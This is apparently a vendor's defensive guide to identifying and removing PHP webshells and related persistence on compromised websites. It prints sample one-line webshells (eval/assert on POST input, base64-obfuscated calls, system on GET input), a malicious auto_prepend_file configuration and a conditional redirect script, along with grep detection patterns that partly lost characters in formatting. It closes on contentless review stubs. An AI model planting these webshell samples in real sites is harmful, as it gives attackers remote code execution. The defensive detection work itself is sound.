The prerequisite for cleaning up backdoors is being able to recognize them. Many backdoors are not complex; they are simply placed in unexpected locations or disguised in unconventional ways—often hiding among hundreds of legitimate files, or even residing outside PHP files entirely.
This article focuses solely on identification and removal, written from a defensive perspective. Below, threats are listed in order of frequency, with directly executable search commands provided for each category.
1. One-Liner Webshells
The most classic form, typically consisting of just one line:
<?php @eval($_POST['pass']); ?>
Its capabilities depend on what follows the eval function—if arbitrary code execution is possible, it equates to gaining full execution privileges on the server.
Common Obfuscation Techniques
// Function substitution: assert can also execute code
<?php @assert($_POST['pass']); ?>
// Variable functions: using variables to bypass keyword matching
<?php $a = 'assert'; $a($_POST['x']); ?>
// Encoding obfuscation: splitting keywords and reassembling them
<?php $f = base64_decode('YXNzZXJ0'); $f($_POST['x']); ?>
// Using other execution functions
system($_GET['cmd']);
passthru($_GET['cmd']);
shell_exec($_GET['cmd']);
The purpose of these variations is merely to evade simple keyword scanning. Therefore, do not limit your searches to eval.
# Comprehensive search for common dangerous functions
grep -rEl 'eval(|assert(|base64_decode|system(|passthru|shell_exec|exec('
/var/www --include='*.php'
# Locate suspiciously small PHP files (one-liners are usually tiny)
find /var/www -name '*.php' -size -2k -print
# Search by modification time (most effective method)
find /var/www -type f -name '*.php' -mtime -7 -print
2. Backdoors Hidden in Images
PHP code can be embedded within image files (with headers spoofed to appear as legitimate images). These files look completely normal when viewed individually, but can be executed if combined with file inclusion vulnerabilities or misconfigurations.
# Search for PHP code inside image files
grep -rlE '<?php|<?=' /var/www --include='*.jpg' --include='*.png' --include='*.gif'
# Check the actual file type (extensions can be faked, but file headers cannot)
file /var/www/html/wp-content/uploads/2026/10/suspicious.jpg
Key verification point: The file extension must match the result of the file command. A .jpg file containing a GIF header, or any image file containing PHP code, is abnormal.
3. Auto-loading via .user.ini and .htaccess
This is the most easily overlooked category because these are not PHP files, meaning standard “scan PHP files” methods will never detect them.
; .user.ini —— Forces every PHP request to load a specified file first
auto_prepend_file = /tmp/.x/logo.jpg
# .htaccess —— Equivalent Effect
php_value auto_prepend_file /tmp/.x/logo.jpg
# These two files must be checked individually
cat /var/www/html/.user.ini
cat /var/www/html/.htaccess
# Search the entire site for all .user.ini files
find /var/www -name '.user.ini' -exec echo '=== {}' ; -exec cat {} ;
# Search for configurations containing auto_prepend or auto_append
grep -rEl 'auto_prepend_file|auto_append_file' /var/www /etc/nginx
The effect of this type of backdoor is: even if you delete the malicious file, it reappears upon access—because every request first executes the loaded file, which writes the trojan back.
4. JS Hijacking
Not all backdoors are server-side. One type injects scripts into pages that redirect based on conditions:
<script>
// Redirect only when accessed via search engines or mobile devices
if (document.referrer.indexOf('baidu') > -1) {
window.location.href = 'http://external-address';
}
</script>
Its stealthiness lies in the fact that it appears completely normal when you visit it yourself—because the trigger condition is not met. It only redirects when crawled by search engines or when users click through from search results.
# Look for suspicious script/iframe tags in page source code
curl -s https://example.com/ | grep -iE '<script|iframe|document.write'
# Often injected into WordPress post content
mysql -e "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script%';" dbname
# Search template files
grep -rEl 'document.write|window.location' /var/www --include='*.php'
5. Persistence via Cron Jobs and Services
crontab -l
ls -l /etc/cron.d/ /var/spool/cron/
systemctl list-unit-files --state=enabled
ls -la /tmp /dev/shm
Typical characteristics: a scheduled task periodically writes to a specific file or fetches and executes a script from an external source. This is the direct cause of the “reappearing after deletion” issue.
Comparison Table
| Type | Where It Hides | Typical Characteristics | Why It Is Easily Missed |
|---|---|---|---|
| One-line Webshell | Any PHP file | Short, contains execution functions | Mixed among thousands of legitimate files |
| Image Trojan | Uploads directory | PHP code embedded within an image | Looks like a regular image |
| Auto-loading | .user.ini / .htaccess |
auto_prepend_file |
Not a PHP file, so scanners miss it |
| JS Hijacking | Templates / Database Content | Conditional redirection | Does not trigger during your own visits |
| Cron Jobs | cron / systemd | Scheduled writing or external connections | Located outside the web directory |
| Backdoor Accounts | System / Site Backend | Unknown Administrators | Account lists are rarely audited |
Decision Tree
Identify Backdoors
├─ First, search by time: find -mtime -7 ← Most effective, do this first
├─ Then, search by characteristics: grep for dangerous functions
├─ Check non-PHP files: .user.ini / .htaccess / images
├─ Check page output: curl to look for script / iframe tags
├─ Check persistence mechanisms: crontab / systemd / /tmp
└─ Check accounts: system users + site backend administrators
Reappears After Deletion
└─ One of these three must be present: ① Scheduled tasks ② Auto-load configuration ③ Password unchanged
Scenario Analysis: File permissions appear normal, but malicious logic executes on every request
Symptoms: The site has been confirmed to have suffered content injection. However, standard file checks reveal no obviously suspicious new files, and permissions and timestamps fall within reasonable ranges.
- Expand the scope of inspection beyond PHP files → Common payloads often disguise themselves as legitimate files or hide within configurations. Focusing solely on
.phpfiles will cause you to miss a significant portion of threats. - Conduct specialized inspections of common auto-load configurations → Configuration files in certain directories may be automatically included by the web server during parsing. Even if they are not script files, their contents can still be processed.
- Search for function call patterns rather than filenames → Perform a full-site search using signatures of “string-as-code-execution” type functions, which revealed several segments inserted into legitimate files.
- Confirm it is not a traditional backdoor file → This code segment is embedded within existing files. It cannot be detected by filename or size alone, nor does it have an independent execution entry point.
- Locate changes by comparing with the original version → Compare the current file against the official file of the same name and version. Differences immediately highlight exactly which lines were added.
- Replace with a clean version instead of manual deletion → Manual deletion risks missing fragments; replacing the entire file is the most secure approach.
# Do not just search *.php; configuration files are equally dangerous
grep -rIn --include='*.php' --include='*.ini' --include='*.user.ini'
-E 'assert|evals*(|base64_decode|systems*(|passthru|shell_exec' /website_directory | head -20
# Specifically check configurations that are auto-included
find /website_directory -name '.user.ini' -o -name 'auto_prepend_file*' | head
php -i | grep -i 'auto_prepend_file|auto_append_file'
# Compare with the official clean version (the most reliable localization method)
diff -u official_same_name_file current_file | head -40
Root Cause: The attacker did not add independent files but instead embedded code snippets into existing files, leveraging configuration mechanisms that are automatically loaded. Therefore, inspection methods based on “finding new files” or “checking filenames” are completely ineffective.
Two key points to remember:
- Search for backdoors based on “behavioral characteristics,” not “file characteristics.”
Filenames and file sizes can be easily spoofed, but behaviors such as executing strings as code cannot be hidden. - Always perform a diff against the official version; do not rely on manual inspection.
A singlediffcommand clearly lists all modifications. Manually scanning files is highly prone to missing changes, especially in files with hundreds of lines.
8 Common Pitfalls
- Scanning only PHP files: Backdoors can also be hidden in
.user.ini,.htaccess, or within image files. - Searching only for “eval”: Obfuscated malware often uses functions like
assertorbase64_decode. Use multiple keywords for detection. - Ignoring
/tmpand/dev/shm: Executable files and loaders are frequently placed in these directories. - Assuming everything is fine because your own access appears normal: JS hijacks may trigger conditionally; you might never meet the specific conditions required to see the malicious behavior.
- Neglecting user accounts: Backdoor accounts allow attackers to regain access at any time.
- Deleting files and considering the job done: You must ensure that the persistence mechanism (write-back) has been completely disabled.
- Failing to change passwords: If the entry point remains active, attackers will return quickly.
- Skip re-checking the next day after cleanup: A clean result on the same day does not guarantee long-term security.
Real Customer Feedback (From Reviews and Inquiries for Similar Services on Cloud Marketplaces)
The following excerpts are taken from genuine buyer reviews and inquiries for similar IT operations services listed on Alibaba Cloud, Tencent Cloud, and Huawei Cloud marketplaces (service providers include our store and competitors; this is provided solely for reference regarding real feedback and does not represent fictitious tickets from our site):
1****1 Rating: 5.0/5 on 2020-06-18 11:50 1****1 Rating: 5.0/5 on 2020-04-26 18:46 1****1 Rating: 5.0/5 on 2020-04-26 18:45 1****1 Rating: 5.0/5 on 2020-04-26 18:45 1****1 Rating: 5.0/5 on 2020-04-26 18:45 1****1 Rating: 5.0/5 on 2020-04-26 18:44 He****She Rating: 5.0/5 on 2019-09-26 09:47
1****8 Rating: 5.0/5 on 2019-10-29 22:35 Good 1